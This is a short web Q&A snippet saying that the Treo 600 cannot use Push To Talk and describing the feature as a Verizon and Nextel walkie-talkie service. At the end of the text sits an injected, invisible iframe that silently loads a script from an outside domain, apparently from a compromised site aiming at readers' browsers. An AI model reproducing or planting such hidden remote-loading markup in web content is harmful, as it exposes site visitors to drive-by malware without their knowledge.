Will the Treo 600 work with Push To Talk?

No, the 600 will not be enabled to function with push to talk though I have heard rumors that some developers are working to create software that will enable it to do so.

Push to talk is "new" technology being advertised by Verizon currently that up unitl now has only been offered by Nextel...think walkie talkie except with a 5 second delay.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>